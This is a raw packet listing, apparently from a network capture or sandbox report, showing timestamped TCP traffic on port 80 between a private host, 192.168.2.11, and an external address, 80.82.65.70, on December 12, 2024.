Dec 12, 2024 16:48:03.502598047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.502654076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.502803087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.502832890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.502891064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.502998114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.503103971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.503118038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.503171921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.503782988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.503865004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.503890038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.503958941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.504559040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.504677057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.504741907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.505448103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.505681038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.505738020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.506122112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.506201982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.506258965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.506901979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.506990910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.507044077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.507704973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.507850885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.508476973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.508507013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.508512020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.508560896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.508641005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.508760929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.509272099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.509335995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.509480000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.509565115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.510433912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.510502100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.510653019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.510936022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.511338949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.511390924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.511456966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.511533976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.512064934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.512160063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.512334108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.512401104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.512835979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.512885094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.512907028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.512970924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.513691902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.513748884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.513760090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.513825893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.514482021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.514556885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.514564991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.514630079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.515172958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.515232086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.515273094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.515345097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.515965939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.516060114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.516083956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.516115904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.516671896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.516736984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.516875029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.517385006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.517438889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.517468929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.519366026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.580399990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.580499887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.580632925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.580739021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.580745935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.580816984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.581530094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.581773996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.581903934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.581949949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.581983089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.582551003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.582652092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.582779884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.583336115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.583395958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.583496094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.584146023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.584209919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.584255934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.584903002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.585009098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.585042000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.585072994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.585701942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.585810900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.585885048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.586455107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.586530924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.586585999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.587275982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.587393045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.587460995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.588053942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.588238955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.588332891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.588823080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.588886023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.588911057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.589605093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.589660883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.589723110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.590176105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.590343952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.590394020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.590466976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.590585947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.591185093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.591285944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.591367960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.592010021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.592230082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.592257023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.592287064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.592741966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.592827082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.592891932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.593511105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.593617916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.593657017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.593724012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.594297886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.594403982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.594433069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.594469070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.595156908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.595289946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.595349073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.595349073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.595868111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.596014977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.596065044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.596678019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.596683025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.596740961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.597445011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.597587109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.597856998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.597958088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.598205090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.598257065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.598261118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.598309994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.599040031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.599143028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.599193096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.599246025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.599800110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.599858999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.599881887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.599967957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.600537062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.600653887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.600661039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.600795031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.601351976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.601480961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.601502895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.601560116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.602128983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.602207899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.602284908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.602353096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.602884054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.602958918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.658158064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.658382893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.658389091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.658477068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.658586025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.659178972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.659262896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.659328938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.659394979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.659929991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.660032034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.660073042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.660073996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.694883108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.694947958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.694955111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.694994926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.695270061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.695396900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.695449114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.696036100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.696120977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.696141005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.696190119 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.696856022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.696918011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.697055101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.697268963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.697609901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.697658062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.697702885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.697750092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.698419094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.698477030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.698519945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.698652029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.699243069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.699300051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.699335098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.699388981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.699980021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.700036049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.700081110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.700141907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.700740099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.700865984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.700881958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.700939894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.702162027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.702267885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.702318907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.702339888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.702341080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.702348948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.702402115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.703272104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.703361988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.703479052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.703536987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.703915119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.703984976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.704015970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.704132080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.704654932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.704754114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.704852104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.704940081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.705528021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.705589056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.705600977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.705708981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.706222057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.706290960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.706386089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.706439972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.707031012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.707144976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.707344055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.707396984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.707840919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.707899094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.707937956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.707994938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.708591938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.708651066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.708682060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.708755016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.709357977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.709414005 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.709453106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.709508896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.772413969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.772490025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.772532940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.772589922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.772818089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.772886038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.773039103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.773097992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.773483038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.773561001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.773571968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.773624897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.774369001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.774449110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.774473906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.774506092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.775118113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.775173903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.775212049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.775263071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.776016951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.776072025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.776076078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.776185989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.776684046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.776742935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.776779890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.776845932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.777398109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.777447939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.777465105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.777494907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.778096914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.778151035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.778184891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.778244019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.778897047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.778959990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.778991938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.779172897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.779648066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.779711962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.779735088 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.779784918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.780436039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.780503035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.780538082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.780589104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.781260967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.781318903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.781363010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.781457901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.782021046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.782074928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.782238960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.782300949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.782804012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.782876968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.783042908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.783096075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.783622026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.783696890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.783725977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.783780098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.784456968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.784528971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.784554958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.784588099 CET	49819	80	192.168.2.11	80.82.65.70
